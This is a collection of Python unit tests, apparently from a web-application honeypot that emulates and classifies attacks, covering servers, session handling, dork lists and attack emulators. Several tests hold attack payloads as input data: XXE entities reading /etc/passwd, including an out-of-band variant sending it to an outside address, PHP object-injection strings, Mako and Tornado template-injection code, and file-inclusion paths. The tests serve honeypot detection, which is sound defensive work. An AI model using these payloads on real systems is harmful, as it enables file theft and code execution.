Example #1
0
    def setUp(self):
        d = dict(
            MONGO={
                "enabled": "False",
                "URI": "mongodb://localhost"
            },
            LOCALLOG={
                "enabled": "False",
                "PATH": "/tmp/tanner_report.json"
            },
        )
        m = mock.MagicMock()
        m.__getitem__.side_effect = d.__getitem__
        m.__iter__.side_effect = d.__iter__

        with mock.patch("tanner.tests.test_server.TannerConfig") as p:

            TannerConfig.config = m
            TannerConfig.get = m.get

        with mock.patch("tanner.dorks_manager.DorksManager", mock.Mock()):
            with mock.patch("tanner.emulators.base.BaseHandler",
                            mock.Mock(),
                            create=True):
                with mock.patch(
                        "tanner.sessions.session_manager.SessionManager",
                        mock.Mock(),
                        create=True):
                    self.serv = server.TannerServer()

        self.test_uuid = uuid.uuid4()

        async def _add_or_update_mock(data, client):
            sess = mock.Mock()
            sess.set_attack_type = mock.Mock()
            sess_id = hashlib.md5(b"foo")
            test_uuid = uuid
            sess.get_uuid = mock.Mock(return_value=str(self.test_uuid))
            return sess, sess_id

        async def _delete_sessions_mock(client):
            pass

        self.serv.session_manager.add_or_update_session = _add_or_update_mock
        self.serv.session_manager.delete_sessions_on_shutdown = _delete_sessions_mock

        async def choosed(client):
            return [x for x in range(10)]

        dorks = mock.Mock()
        dorks.choose_dorks = choosed
        dorks.extract_path = self._make_coroutine()

        redis = AsyncMock()
        redis.close = mock.Mock()
        redis.wait_closed = AsyncMock()
        self.serv.dorks = dorks
        self.serv.redis_client = redis

        super(TestServer, self).setUp()
Example #2
0
    async def test_handle_index(self):
        self.handler.api.return_snares = AsyncMock(return_value=["foo"])
        self.handler.api.return_latest_session = AsyncMock()
        response = await self.client.request("GET", "/")
        self.returned_content = await response.text()

        self.assertEqual(response.status, 200)
Example #3
0
    def setUp(self):
        self.loop = asyncio.new_event_loop()

        self.handler = TannerWebServer()
        self.handler.api = AsyncMock()
        self.handler.redis_client = AsyncMock()
        self.handler.redis_client.close = AsyncMock()

        self.returned_content = None
        self.expected_content = None

        super(TestWebServer, self).setUp()
Example #4
0
    def test_handle_oob(self):
        config.TannerConfig.get = mock.MagicMock(return_value=True)

        code = '<?xml version="1.0" encoding="ISO-8859-1"?>' \
               '<!DOCTYPE foo [ <!ELEMENT foo ANY >' \
               '<!ENTITY % xxe SYSTEM "file:///etc/passwd">' \
               '<!ENTITY % int \'<!ENTITY % trick SYSTEM ]>' \
               '"http://192.168.1.1:8080/?p=%xxe;">\'> '

        attack_params = [dict(id='OOB', value=code)]
        self.handler.helper.get_result = AsyncMock(
            return_value={
                'file_md5':
                'a43deb0f2d7904cbb6c27c02ed7c2593',
                'stdout':
                'root:x:0:0:root:/root:/bin/bash\n\n'
                'daemon:x:1:1:daemon:/usr/sbin'
            })

        self.expected_result = ""

        async def test():
            self.returned_result = await self.handler.handle(attack_params)

        self.loop.run_until_complete(test())
        self.assertEqual(self.returned_result['value'], self.expected_result)
Example #5
0
    def test_return_snare_stats(self):
        sessions = [{
            "end_time": 2.00,
            "start_time": 0.00,
            "attack_types": ["lfi", "xss"]
        }, {
            "end_time": 4.00,
            "start_time": 2.00,
            "attack_types": ["rfi", "lfi", "cmd_exec"]
        }]
        self.handler.return_snare_info = AsyncMock(return_value=sessions)

        self.expected_content = {
            "attack_frequency": {
                'cmd_exec': 1,
                'lfi': 2,
                'rfi': 1,
                'sqli': 0,
                'xss': 1
            },
            'total_duration': 4.0,
            'total_sessions': 2
        }

        async def test():
            self.returned_content = await self.handler.return_snare_stats(
                self.snare_uuid)

        self.loop.run_until_complete(test())
        self.assertEqual(self.returned_content, self.expected_content)
Example #6
0
    def test_handle(self):
        config.TannerConfig.get = mock.MagicMock(return_value=False)

        code = '<?xml version="1.0" encoding="ISO-8859-1"?>' \
               '<!DOCTYPE foo [ <!ELEMENT foo ANY >' \
               '<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>' \
               '<data>&xxe;</data>'

        attack_params = [dict(id='foo', value=code)]
        self.handler.helper.get_result = AsyncMock(
            return_value={
                'file_md5':
                'a43deb0f2d7904cbb6c27c02ed7c2593',
                'stdout':
                'root:x:0:0:root:/root:/bin/bash\n\n'
                'daemon:x:1:1:daemon:/usr/sbin'
            })

        self.expected_result = "root:x:0:0:root:/root:/bin/bash"

        async def test():
            self.returned_result = await self.handler.handle(attack_params)

        self.loop.run_until_complete(test())
        self.assertIn(self.expected_result, self.returned_result['value'])
Example #7
0
    def test_emulate_type_3(self):
        self.handler.handle_get = AsyncMock(
            return_value={
                'name': 'php_code_injection',
                'order': 3,
                'payload': {
                    'status_code': 504
                }
            })

        data = dict(method='GET',
                    path='/index.html?file=/etc/passwd',
                    cookies={'sess_uuid': '9f82e5d0e6b64047bba996222d45e72c'})
        self.handler.set_injectable_page = mock.Mock()

        detection = self.loop.run_until_complete(
            self.handler.emulate(data, self.session))
        assert_detection = {
            'name': 'php_code_injection',
            'order': 3,
            'payload': {
                'status_code': 504
            },
            'type': 3,
            'version': tanner_version
        }
        self.assertEqual(detection, assert_detection)
        assert not self.handler.set_injectable_page.called
Example #8
0
    def test_emulate_type_2(self):
        self.handler.handle_get = AsyncMock(return_value={
            'name': 'lfi',
            'order': 2,
            'payload': {
                'page': '/something.html'
            }
        })

        data = dict(method='GET',
                    path='/path.html?file=/etc/passwd',
                    cookies={'sess_uuid': '9f82e5d0e6b64047bba996222d45e72c'})

        self.handler.set_injectable_page = mock.MagicMock(
            return_value='/path.html')

        async def test():
            self.detection = await self.handler.emulate(data, self.session)

        self.loop.run_until_complete(test())
        self.handler.set_injectable_page.assert_called_with(self.session)
        assert_detection = {
            'name': 'lfi',
            'order': 2,
            'payload': {
                'page': '/path.html'
            },
            'type': 2,
            'version': tanner_version
        }
        self.assertEqual(self.detection, assert_detection)
Example #9
0
    def test_return_session_info_none(self):
        self.handler.return_snares = AsyncMock(return_value=[
            "8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4",
            "6ea6aw67-7821-4085-7u6t-q1io3p0i90b1"
        ])

        async def mock_return_snare_info(snare_uuid):
            sessions = None
            if snare_uuid == "8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4":
                sessions = [{"sess_uuid": "da1811cd19d748058bc02ee5bf9029d4"}]

            if snare_uuid == "6ea6aw67-7821-4085-7u6t-q1io3p0i90b1":
                sessions = [{"sess_uuid": "c546114f97f548f982756495f963e280"}]
            return sessions

        self.handler.return_snare_info = mock_return_snare_info
        self.expected_content = {
            'sess_uuid': 'da1811cd19d748058bc02ee5bf9029d4'
        }

        async def test():
            self.returned_content = await self.handler.return_session_info(
                self.uuid)

        self.loop.run_until_complete(test())
        self.assertEqual(self.returned_content, self.expected_content)
    def test_choose_dorks(self):
        self.handler.init_dorks = AsyncMock()
        random.randint = mock.Mock(return_value=3)
        self.handler.init_done = False

        self.expected_result = [
            'index.php/image?p=rs', 'file.php?q=par', 'index.php?qry=param',
            'index.php?q=p', 'file1.php?q=ar', 'index.php/image2?p=r'
        ]

        async def setup():
            await self.handler.push_init_dorks(self.dorks_pickle,
                                               self.handler.dorks_key,
                                               self.redis_client)
            await self.handler.push_init_dorks(self.user_dorks_pickle,
                                               self.handler.user_dorks_key,
                                               self.redis_client)

        self.loop.run_until_complete(setup())

        async def test():
            self.returned_result = await self.handler.choose_dorks(
                self.redis_client)

        self.loop.run_until_complete(test())
        self.handler.init_dorks.assert_called()
        for data in self.returned_result:
            assert data in self.expected_result
Example #11
0
    def test_handle_mako(self):
        self.handler.docker_helper.execute_cmd = AsyncMock(return_value='posix.uname_result(sysname="Linux")')
        payload = "<%\nimport os\nx=os.uname()\n%>\n${x}"

        attack_params = [dict(id="foo", value=payload)]
        self.returned_result = self.loop.run_until_complete(self.handler.handle(attack_params, self.sess))
        self.expected_result = os.uname()
        self.assertIn(self.expected_result[0], self.returned_result["value"])
Example #12
0
    def test_return_sessions_error(self):
        self.handler.return_snares = AsyncMock(
            return_value=["8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4"])

        session = [{"attack_types": ["rfi", "lfi"]}]
        self.handler.return_snare_info = AsyncMock(return_value=session)

        self.filters = {"attacktypes": "lfi"}

        self.expected_content = 'Invalid filter : attacktypes'

        async def test():
            self.returned_content = await self.handler.return_sessions(
                self.filters)

        self.loop.run_until_complete(test())
        self.assertEqual(self.expected_content, self.returned_content)
    def test_init_dorks_none(self):
        self.handler.dorks_key = None
        self.handler.user_dorks_key = None
        self.handler.push_init_dorks = AsyncMock()

        async def test():
            await self.handler.init_dorks(self.redis_client)

        self.loop.run_until_complete(test())
        self.handler.push_init_dorks.assert_not_called()
Example #14
0
    async def test_handle_snares(self):
        self.handler.api.return_snares = AsyncMock(return_value=["9a631aee-2b52-4108-9831-b495ac8afa80"])

        response = await self.client.request("GET", "/snares")
        self.returned_content = await response.text()

        self.expected_content = (
            '<a href="/snare/9a631aee-2b52-4108-9831-b495ac8afa80">' "9a631aee-2b52-4108-9831-b495ac8afa80</a>"
        )
        self.assertIn(self.expected_content, self.returned_content)
Example #15
0
    def test_emulate_type_1(self):
        data = dict(method="GET", path="/index.html", cookies={"sess_uuid": "9f82e5d0e6b64047bba996222d45e72c"})

        self.handler.handle_get = AsyncMock(return_value={"name": "index", "order": 1})
        self.handler.set_injectable_page = mock.Mock()

        detection = self.loop.run_until_complete(self.handler.emulate(data, self.session))
        assert_detection = {"name": "index", "order": 1, "type": 1, "version": tanner_version}
        self.assertEqual(detection, assert_detection)
        assert not self.handler.set_injectable_page.called
    def test_extract_path_error(self):
        self.path = '/index.html?page=26'
        self.redis_client.sadd = AsyncMock(side_effect=aioredis.ProtocolError)

        async def test():
            await self.handler.extract_path(self.path, self.redis_client)

        with self.assertLogs(level='ERROR') as log:
            self.loop.run_until_complete(test())
            self.assertIn('Problem with redis connection', log.output[0])
Example #17
0
    def test_setup_db_from_config(self, m):
        config = {
            "name":
            "test_db",
            "tables": [
                {
                    "schema":
                    "CREATE TABLE TEST (ID INTEGER PRIMARY KEY, USERNAME TEXT)",
                    "table_name": "TEST",
                    "data_tokens": "I,L",
                },
                {
                    "schema":
                    "CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD VARCHAR(15))",
                    "table_name": "CREDS",
                    "data_tokens": "I,E,P",
                },
            ],
        }

        def mock_read_config():
            return config

        self.expected_result = [
            (("ID", "int(11)", "NO", "PRI", None, ""), ("USERNAME", "text",
                                                        "YES", "", None, "")),
            (
                ("ID", "int(11)", "NO", "PRI", None, ""),
                ("EMAIL", "varchar(15)", "YES", "", None, ""),
                ("PASSWORD", "varchar(15)", "YES", "", None, ""),
            ),
        ]

        self.result = []
        self.handler.read_config = mock_read_config
        self.handler.insert_dummy_data = AsyncMock()

        calls = [
            mock.call("TEST", "I,L", mock.ANY),
            mock.call("CREDS", "I,E,P", mock.ANY)
        ]

        async def test():
            await self.handler.setup_db_from_config()

            for table in config["tables"]:
                await self.cursor.execute("USE test_db")
                await self.cursor.execute("DESCRIBE {table_name}".format(
                    table_name=table["table_name"]))
                result = await self.cursor.fetchall()
                self.result.append(result)

        self.loop.run_until_complete(test())
        self.assertEqual(self.result, self.expected_result)
        self.handler.insert_dummy_data.assert_has_calls(calls, any_order=True)
Example #18
0
    def test_handle_tornado(self):
        self.handler.docker_helper.execute_cmd = AsyncMock(
            return_value='posix.uname_result(sysname="Linux")')
        payload = '{%import os%}{{os.uname()}}'

        attack_params = [dict(id='foo', value=payload)]
        self.returned_result = self.loop.run_until_complete(
            self.handler.handle(attack_params, self.sess))
        self.expected_result = os.uname()

        self.assertIn(self.expected_result[0], self.returned_result['value'])
Example #19
0
    def test_setup_db_not_exists(self, m):
        self.expected_result = {
            'comments': [
                {
                    'name': 'comment_id',
                    'type': 'INTEGER'
                },
            ],
            'users': [
                {
                    'name': 'id',
                    'type': 'INTEGER'
                },
            ]
        }

        self.handler.helper.create_query_map = AsyncMock(
            return_value={
                'comments': [
                    {
                        'name': 'comment_id',
                        'type': 'INTEGER'
                    },
                ],
                'users': [
                    {
                        'name': 'id',
                        'type': 'INTEGER'
                    },
                ]
            })
        self.handler.helper.setup_db_from_config = AsyncMock()

        async def test():
            await self.handler.helper.delete_db(self.db_name)
            self.returned_result = await self.handler.setup_db()

        self.loop.run_until_complete(test())
        self.handler.helper.setup_db_from_config.assert_called_with(
            self.db_name)
        self.handler.helper.create_query_map.assert_called_with(self.db_name)
Example #20
0
    def test_setup_db_not_exists(self, m):
        self.expected_result = {
            "comments": [
                {
                    "name": "comment_id",
                    "type": "INTEGER"
                },
            ],
            "users": [
                {
                    "name": "id",
                    "type": "INTEGER"
                },
            ],
        }

        self.handler.helper.create_query_map = AsyncMock(
            return_value={
                "comments": [
                    {
                        "name": "comment_id",
                        "type": "INTEGER"
                    },
                ],
                "users": [
                    {
                        "name": "id",
                        "type": "INTEGER"
                    },
                ],
            })
        self.handler.helper.setup_db_from_config = AsyncMock()

        async def test():
            await self.handler.helper.delete_db(self.db_name)
            self.returned_result = await self.handler.setup_db()

        self.loop.run_until_complete(test())
        self.handler.helper.setup_db_from_config.assert_called_with(
            self.db_name)
        self.handler.helper.create_query_map.assert_called_with(self.db_name)
Example #21
0
    def test_init_dorks(self):
        self.handler.push_init_dorks = AsyncMock()

        calls = [
            mock.call(config.TannerConfig.get("DATA", "dorks"), mock.ANY, self.redis_client),
            mock.call(config.TannerConfig.get("DATA", "user_dorks"), mock.ANY, self.redis_client),
        ]

        async def test():
            await self.handler.init_dorks(self.redis_client)

        self.loop.run_until_complete(test())
        self.handler.push_init_dorks.assert_has_calls(calls)
Example #22
0
    async def test_handle_snare_stats(self):

        content = {"attack_frequency": {"cmd_exec": 1, "lfi": 2, "rfi": 1, "sqli": 0, "xss": 1}}

        self.handler.api.return_snare_stats = AsyncMock(return_value=content)

        response = await self.client.request("GET", "/snare-stats/9a631aee-2b52-4108-9831-b495ac8afa80")
        self.returned_content = await response.text()
        self.clear_returned_content = "".join(self.returned_content.split()[65:-8])
        self.expected_content = (
            "<tr><td><b>AttackFrequency</b></td><td>cmd_exec:1<br>lfi:2" "<br>rfi:1<br>sqli:0<br>xss:1<br></td>"
        )
        self.assertEqual(self.expected_content, self.clear_returned_content.strip())
    def test_handle_status_code(self):
        self.handler.get_injection_result = AsyncMock(return_value=None)

        attack_params = [
            dict(id="foo", value="O:15:'ObjectInjection':1:{s:6:'insert';}")
        ]
        self.expected_result = dict(status_code=504)

        async def test():

            self.returned_result = await self.handler.handle(attack_params)

        self.loop.run_until_complete(test())
        self.assertEqual(self.returned_result, self.expected_result)
Example #24
0
    def test_handle_status_code(self):
        self.handler.get_injection_result = AsyncMock(return_value=None)

        attack_params = [
            dict(id='foo',
                 value='<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>')
        ]
        self.expected_result = dict(status_code=504)

        async def test():
            self.returned_result = await self.handler.handle(attack_params)

        self.loop.run_until_complete(test())
        self.assertEqual(self.returned_result, self.expected_result)
    def test_setup_db_from_config(self, m):
        config = {
            "name":
            "test_db",
            "tables": [{
                "schema":
                "CREATE TABLE TEST (ID INTEGER PRIMARY KEY, USERNAME TEXT)",
                "table_name": "TEST",
                "data_tokens": "I,L"
            }, {
                "schema":
                "CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD VARCHAR(15))",
                "table_name": "CREDS",
                "data_tokens": "I,E,P"
            }]
        }

        def mock_read_config():
            return config

        self.expected_result = [(('ID', 'int(11)', 'NO', 'PRI', None, ''),
                                 ('USERNAME', 'text', 'YES', '', None, '')),
                                (('ID', 'int(11)', 'NO', 'PRI', None, ''),
                                 ('EMAIL', 'varchar(15)', 'YES', '', None,
                                  ''), ('PASSWORD', 'varchar(15)', 'YES', '',
                                        None, ''))]

        self.result = []
        self.handler.read_config = mock_read_config
        self.handler.insert_dummy_data = AsyncMock()

        calls = [
            mock.call('TEST', 'I,L', mock.ANY),
            mock.call('CREDS', 'I,E,P', mock.ANY)
        ]

        async def test():
            await self.handler.setup_db_from_config()

            for table in config["tables"]:
                await self.cursor.execute('USE test_db')
                await self.cursor.execute('DESCRIBE {table_name}'.format(
                    table_name=table["table_name"]))
                result = await self.cursor.fetchall()
                self.result.append(result)

        self.loop.run_until_complete(test())
        self.assertEqual(self.result, self.expected_result)
        self.handler.insert_dummy_data.assert_has_calls(calls, any_order=True)
Example #26
0
    def test_create_attacker_db(self, m):
        session = mock.Mock()
        session.sess_uuid.hex = "d877339ec415484987b279469167af3d"
        attacker_db = "attacker_" + session.sess_uuid.hex
        self.handler.helper.copy_db = AsyncMock(return_value=attacker_db)
        self.expected_result = "attacker_d877339ec415484987b279469167af3d"

        async def test():
            self.returned_result = await self.handler.create_attacker_db(
                session)

        self.loop.run_until_complete(test())
        self.assertEqual(self.returned_result, self.expected_result)
        session.associate_db.assert_called_with(attacker_db)
        self.handler.helper.copy_db.assert_called_with(self.db_name,
                                                       attacker_db)
Example #27
0
    async def test_sessions_info(self):
        session = dict(
            cookies={'sess_uuid': '9f82e5d0e6b64047bba996222d45e72c'},
            possible_owners={"user": 1.0})

        self.handler.api.return_session_info = AsyncMock(return_value=session)

        self.expected_content = '<td><b>Cookies</b></td>\n    <td>\n    \n      ' \
                                'sess_uuid : 9f82e5d0e6b64047bba996222d45e72c <br>\n    \n    </td>\n  </tr>\n  ' \
                                '<tr>\n    <td><b>Referer</b></td>\n    <td></td>\n  </tr>\n  <tr>\n    ' \
                                '<td><b>Possible Owners</b></td>\n    <td>\n    \n      ' \
                                '<a href="//sessions/page/1?filters=possible_owners:user">user : 1.0</a><br>\n'

        response = await self.client.request(
            'GET', '/session/da1811cd19d748058bc02ee5bf9029d4')
        self.returned_content = await response.text()

        self.assertIn(self.expected_content, self.returned_content)
Example #28
0
    def test_return_session_info(self):

        sessions = [{
            "sess_uuid": "c546114f97f548f982756495f963e280"
        }, {
            "sess_uuid": "da1811cd19d748058bc02ee5bf9029d4"
        }]

        self.handler.return_snare_info = AsyncMock(return_value=sessions)
        self.expected_content = {
            "sess_uuid": "da1811cd19d748058bc02ee5bf9029d4"
        }

        async def test():
            self.returned_content = await self.handler.return_session_info(
                self.uuid, self.snare_uuid)

        self.loop.run_until_complete(test())
        self.assertEqual(self.returned_content, self.expected_content)
    def test_handle(self):
        attack_params = [
            dict(id="foo",
                 value='O:15:"ObjectInjection":1:{s:6:"insert";s:2:"id";}')
        ]
        self.handler.helper.get_result = AsyncMock(
            return_value={
                "file_md5": "a43deb0f2d7904cbb6c27c02ed7c2593",
                "stdout": "id=0(root) gid=0(root) groups=0(root)",
            })

        self.expected_result = "id=0(root) gid=0(root) groups=0(root)"

        async def test():

            self.returned_result = await self.handler.handle(attack_params)

        self.loop.run_until_complete(test())
        self.assertIn(self.expected_result, self.returned_result["value"])
Example #30
0
    def test_setup_db_from_config(self):
        config = {
            "name":
            "test_db",
            "tables": [{
                "schema":
                "CREATE TABLE IF NOT EXISTS CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), "
                "PASSWORD VARCHAR(15))",
                "table_name":
                "CREDS",
                "data_tokens":
                "I,E,P",
            }],
        }

        def mock_read_config():
            return config

        self.result = []
        self.handler.read_config = mock_read_config
        self.handler.insert_dummy_data = AsyncMock()

        calls = [mock.call("CREDS", "I,E,P", mock.ANY)]

        self.expected_result = [[
            ("CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD "
             "VARCHAR(15))", ),
            ("CREATE TABLE TEST (id INTEGER PRIMARY KEY, username TEXT)", ),
        ]]

        async def test():
            await self.handler.setup_db_from_config("/tmp/", self.filename)
            self.cursor.execute(
                "SELECT sql FROM sqlite_master ORDER BY tbl_name")
            result = self.cursor.fetchall()
            self.result.append(result)
            self.handler.delete_db(self.filename)

        self.loop.run_until_complete(test())

        self.assertEqual(self.result, self.expected_result)
        self.handler.insert_dummy_data.assert_has_calls(calls, any_order=True)